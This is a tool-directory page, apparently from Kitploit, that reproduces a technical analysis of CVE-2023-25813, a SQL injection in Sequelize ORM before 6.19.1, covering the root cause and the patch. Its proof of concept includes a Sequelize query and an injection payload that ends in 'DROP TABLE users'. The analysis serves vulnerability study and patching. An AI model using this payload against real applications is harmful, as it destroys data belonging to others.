Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Sequelize-1day-CVE-2023-25813 — Proof-of-concept and technical analysis of CVE-2023-25813, a SQL injection vulnerability in Sequelize ORM versions prior to 6.19.1, including exploitation details and patch information. | Kitploit
Tools/GitHubGitHub/bde574786/sequelize-1day-cve-2023-25813
Static AnalysisVulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationDatabase Security
GitHubbde574786/sequelize-1day-cve-2023-25813

Sequelize-1day-CVE-2023-25813

Proof-of-concept and technical analysis of CVE-2023-25813, a SQL injection vulnerability in Sequelize ORM versions prior to 6.19.1, including exploitation details and patch information.

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
View Repository
31 year agoNot yet reviewed
Share

CVE-2023-25813

CVE Information

  • CVE Number: CVE-2023-25813
  • Description: In Sequelize versions prior to 6.19.1, input passed through the replacements option is not properly escaped, which can lead to SQL Injection depending on the query structure.
  • Affected Versions: Sequelize 6.19.0 and below
  • Patch Version: 6.19.1
  • CVSS Score
    • NIST: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
    • GitHub (CNA): 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)

Reproduction Environment

  • Node.js
  • Sequelize v6.19.0
  • MySQL

Sequelize Overview

Sequelize is one of the ORM (Object-Relational Mapping) libraries available for Node.js. ORM is a technology that automates the conversion between objects and relational databases, allowing you to query, create, update, and delete database records through objects without writing raw SQL queries.

root@kitploit:~
// SELECT * FROM users WHERE id = 1;
const user = await User.findByPk(1);

Using Replacements

replacements is a binding mechanism in Sequelize for safely injecting user input into SQL when using raw SQL queries or ORM methods. It is used as a primary means to prevent SQL Injection.

root@kitploit:~
// Positional binding
await sequelize.query('SELECT * FROM projects WHERE status = ?', {
  replacements: ['active'],
});

// Named binding
await sequelize.query(
  'SELECT * FROM users WHERE name = :name AND age = :age',
  {
    replacements: {
      name: 'Alice',
      age: 25
    }
  }
);

Vulnerability Summary

Sequelize provides the replacements option to safely bind user input to SQL. However, in versions prior to 6.19.1, even when using replacements in ORM methods, SQL Injection can occur due to issues in the order of internal SQL generation and replacement.

PoC

Below is an example of Sequelize code where the vulnerability occurs. SQL Injection can happen when combining literal and replacements.

root@kitploit:~
User.findAll({
  where: or(
    literal('soundex("firstName") = soundex(:firstName)'),
    { lastName: lastName },
  ),
  replacements: { firstName },
})

An attacker can break the query structure by injecting the following input values into replacements.

root@kitploit:~
{
  "firstName": "OR true; DROP TABLE users;",
  "lastName": ":firstName"
}

This structure re-inserts the replacements key (:firstName) into the value as well, effectively providing the binding key an additional time.

root@kitploit:~
SELECT * FROM users 
WHERE soundex("firstName") = soundex(:firstName) 
	OR "lastName" = ':firstName'

The completed final query is as follows. However, this query takes a form that makes it difficult to clearly determine whether it will execute, and the actual execution result may vary depending on the SQL parser's interpretation and database configuration. In some environments, it may be treated as a simple syntax error, but depending on the configuration, it is a dangerous structure where unintended SQL commands could be executed.

root@kitploit:~
SELECT * FROM users 
WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;') 
	OR "lastName" = ''OR true; DROP TABLE users;''

If the SQL parser allows multiple queries, a single binding could be used to drop a table. image.png

Root Cause of Vulnerability

Sequelize treats strings passed to the literal function as trusted SQL fragments and does not escape them. Therefore, the string is inserted directly into the SQL query, and even if :param remains inside, it is left without any processing.

As shown below, replacements works by finding and replacing remaining :param tokens after the SQL has been fully assembled as a string, just before execution. Because of this, user input is inserted directly into the already structured SQL, thereby breaking the entire query structure and causing the vulnerability.

root@kitploit:~
// sequelize-6.19.0/src/sequelize.js

if (options.replacements) {
      if (Array.isArray(options.replacements)) {
        sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
      } else {
        sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
      }
    }

Patch

injectReplacements was defined to allow binding only in syntactically safe locations.

root@kitploit:~
// sequelize-6.19.1/src/sequelize.js

if (options.replacements) {
  if (Array.isArray(options.replacements)) {
    sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
  } else {
    sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
  }
  sql = injectReplacements(sql, this.dialect, options.replacements);
}

References

  • https://github.com/sequelize/sequelize/issues/9410
  • https://github.com/advisories/GHSA-wrh9-cjv3-2hpw
  • https://github.com/sequelize/sequelize/compare/v6.19.0...v6.19.1
Download Tool